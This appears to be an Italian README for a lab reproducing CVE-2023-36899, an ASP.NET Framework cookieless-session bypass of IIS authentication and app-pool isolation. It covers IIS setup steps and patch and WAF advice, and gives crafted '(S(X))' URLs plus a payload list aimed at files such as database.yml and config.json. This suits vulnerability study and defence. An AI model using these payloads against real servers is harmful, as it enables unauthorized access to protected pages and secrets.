CVE-2023-36899

Ambiente di riproduzione e strumenti per la vulnerabilità CVE-2023-36899, relativa al bypass dell'autenticazione di sessione senza cookie in ASP.NET Framework.

Cookieless DuoDrop: bypass dell'autenticazione IIS e privesc del pool di applicazioni in ASP.NET Framework (CVE-2023-36899)

Nello sviluppo web moderno, sebbene i cookie siano il metodo preferito per trasmettere l'ID di sessione, .NET Framework offre anche un'alternativa: codificare direttamente l'ID di sessione nell'URL. Questa tecnica è nota come funzionalità "senza cookie" in .NET Framework. Molti sviluppatori e tester di sicurezza trascurano questa opzione perché è rara nelle applicazioni reali. Tuttavia, è diventata un tesoro per scoprire vulnerabilità lato client come session fixation, session hijacking, HTML injection e cross-site scripting. Inoltre, questa funzionalità può essere sfruttata per bypassare regole firewall basate sul percorso che non sono configurate per riconoscere i metodi senza cookie. A causa di problemi di sicurezza intrinseci, .NET Core e le versioni successive di .NET hanno omesso la funzionalità senza cookie. Ma non dobbiamo dimenticare la moltitudine di applicazioni web che utilizzano ancora il classico .NET Framework.

Punti chiave:

1. La funzionalità senza cookie di .NET Framework può essere abusata per accedere a directory protette o bloccate dal filtro URL di IIS.
2. Utilizzando la funzionalità senza cookie, è possibile bypassare i controlli di autenticazione o filtro di IIS.
3. Un altro problema riguarda il modo in cui IIS gestisce i pool di applicazioni, che può portare a escalation dei privilegi o bypass di sicurezza.
4. Tramite la funzionalità senza cookie di .NET Framework, è possibile forzare un'applicazione IIS a utilizzare il pool di applicazioni padre invece del proprio.

Dettagli della vulnerabilità:

1. Bypass dei percorsi limitati di IIS

La funzionalità senza cookie di .NET Framework può essere abusata per accedere a directory protette o bloccate dal filtro URL di IIS. Ad esempio, considera la seguente situazione sul sito victim.com:

• Una pagina nella directory /protected/: /webform/protected/target1.aspx, che impone l'autenticazione di base.
• Una pagina spostata temporaneamente nella cartella /bin/: /webform/bin/target2.aspx, rendendola inaccessibile.

Normalmente, l'accesso a queste pagine tramite questi URL viene bloccato in IIS:

• http://10.0.2.15:8080/webform/protected/target1.aspx
• http://10.0.2.15:8080/webform/bin/target2.aspx

Tuttavia, è possibile sfruttare la funzionalità senza cookie per accedere a queste pagine tramite i seguenti modelli:

• http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
• http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. Confusione del pool di applicazioni

Il modo in cui IIS gestisce i pool di applicazioni può portare a escalation dei privilegi o bypass di sicurezza. È possibile manipolare la funzionalità senza cookie di .NET Framework per forzare un'applicazione IIS a utilizzare il pool di applicazioni padre invece del proprio. Ad esempio:

• La radice del sito (/) utilizza il pool di applicazioni DefaultAppPool.
• L'applicazione /classic/ utilizza il pool di applicazioni .NET v4.5 Classic.
• L'applicazione /classic/nodotnet/ utilizza il pool di applicazioni NoManagedCodeClassic, che non supporta codice gestito.

Un file C# chiamato AppPoolPrint.aspx è accessibile in tutte le applicazioni sopra indicate e mostra il nome del pool di applicazioni corrente. Utilizzando la funzionalità senza cookie due volte, possiamo eseguire questa pagina con il pool di applicazioni padre:

• /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
• /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
• /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

Ciò consente anche alle pagine in /classic/nodotnet/ (che non dovrebbero eseguire codice gestito) di eseguire pagine ASPX utilizzando il pool di applicazioni padre. Questo comportamento può portare a un'escalation dei privilegi su IIS.

Riproduzione della vulnerabilità:

1. Preparazione dell'ambiente:

• Sistema operativo: installare una versione di Windows Server, ad esempio Windows Server 2016 o 2019.
• Server web: installare Internet Information Services (IIS).
• Framework di sviluppo: installare .NET Framework (non .NET Core o .NET 5+).

Durante l'installazione di IIS selezionare

• Server Web:
  • Funzionalità HTTP comuni:
    • Contenuto statico
    • Documento predefinito
    • Esplorazione directory
    • Errori HTTP
  • Sviluppo di applicazioni:
    • .NET Extensibility (corrispondente alla versione di .NET Framework: 4.5)
    • ASP.NET (corrispondente alla versione di .NET Framework: 4.5)
    • Estensioni ISAPI
    • Filtri ISAPI
• Salute e diagnostica:
  • Registrazione HTTP
  • Monitoraggio richieste
  • Strumenti di registrazione
• Sicurezza:
  • Filtro richieste
  • Autenticazione di base
  • Autenticazione Windows

2. Configurazione di IIS:

1. Aprire il gestore IIS.
2. Creare un nuovo sito Web.
3. Nel nuovo sito, creare alcune directory, ad esempio /webform, /webform/protected e /webform/bin.
4. Nella directory /protected/, impostare l'autenticazione di base.
5. Spostare la pagina /webform/bin/target.aspx nella cartella /bin/ per renderla non direttamente accessibile. (La directory bin non è accessibile per impostazione predefinita in IIS, poiché contiene programmi compilati sensibili.)

3. Creazione delle pagine di test:

1. Nella directory /webform/protected/, creare una pagina chiamata target.aspx.
2. Nella directory /webform/bin/, creare una pagina chiamata target.aspx.
3. In ogni applicazione, creare una pagina chiamata AppPoolPrint.aspx che possa visualizzare il nome del pool di applicazioni corrente.

Contenuto di test del file target.aspx:

<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

Contenuto di test del file web.config nella directory radice:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

Dove significa che il sito utilizza i cookie per memorizzare alcune informazioni di sessione predefinite, ed è anche l'impostazione predefinita

4. Riproduzione della vulnerabilità:

1. Provare ad accedere direttamente alle pagine /webform/protected/target.aspx e /webform/bin/target.aspx. Dovresti essere bloccato o ti verrà richiesta l'autenticazione.

Utilizzando http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx si accede con successo

2. Provare ad accedere a queste pagine utilizzando la funzionalità senza cookie, ad esempio:
   • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
   • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx Dovresti riuscire ad accedere a queste pagine bypassando l'autenticazione o i filtri.

Suggerimenti per la correzione

1. Bloccare la caratteristica /S(X)) tramite il WAF.
2. Installare la patch corrispondente sul server https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

Elenco di payload possibili:

/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

Riferimenti:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899